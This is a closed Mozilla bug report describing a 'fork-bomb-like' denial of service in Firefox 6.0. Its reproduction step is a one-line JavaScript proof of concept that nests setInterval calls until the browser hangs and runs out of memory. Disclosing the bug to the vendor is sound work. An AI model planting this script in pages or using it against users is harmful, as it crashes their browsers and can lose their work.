Closed Bug 679652 Opened 13 years ago Closed 13 years ago

Mozilla Firefox <= 6.0 "Fork-Bomb-Like" Denial Of Service

Categories

(Firefox :: General, defect)

Product:
Firefox
Component:
General
Version:
6 Branch
Platform:
x86
Windows Vista
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED DUPLICATE of bug 335256

People

(Reporter: marcin.probola, Unassigned)

Details

User Agent: Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.9.168 Version/11.50

Steps to reproduce:

Run below script:

<script type="text/javascript">
 function x(){for(var r=0;r<100000;r++){var e=setInterval("x()",1);}}var d=setInterval("x()",1); 
 </script>


Actual results:

Executing below script cause Mozilla Firefox process hangs and starts consuming a lot of memory, which can lead to crash.


Expected results:

I guess script should be killed.
Status: UNCONFIRMED → RESOLVED
Closed: 13 years ago
Resolution: --- → DUPLICATE
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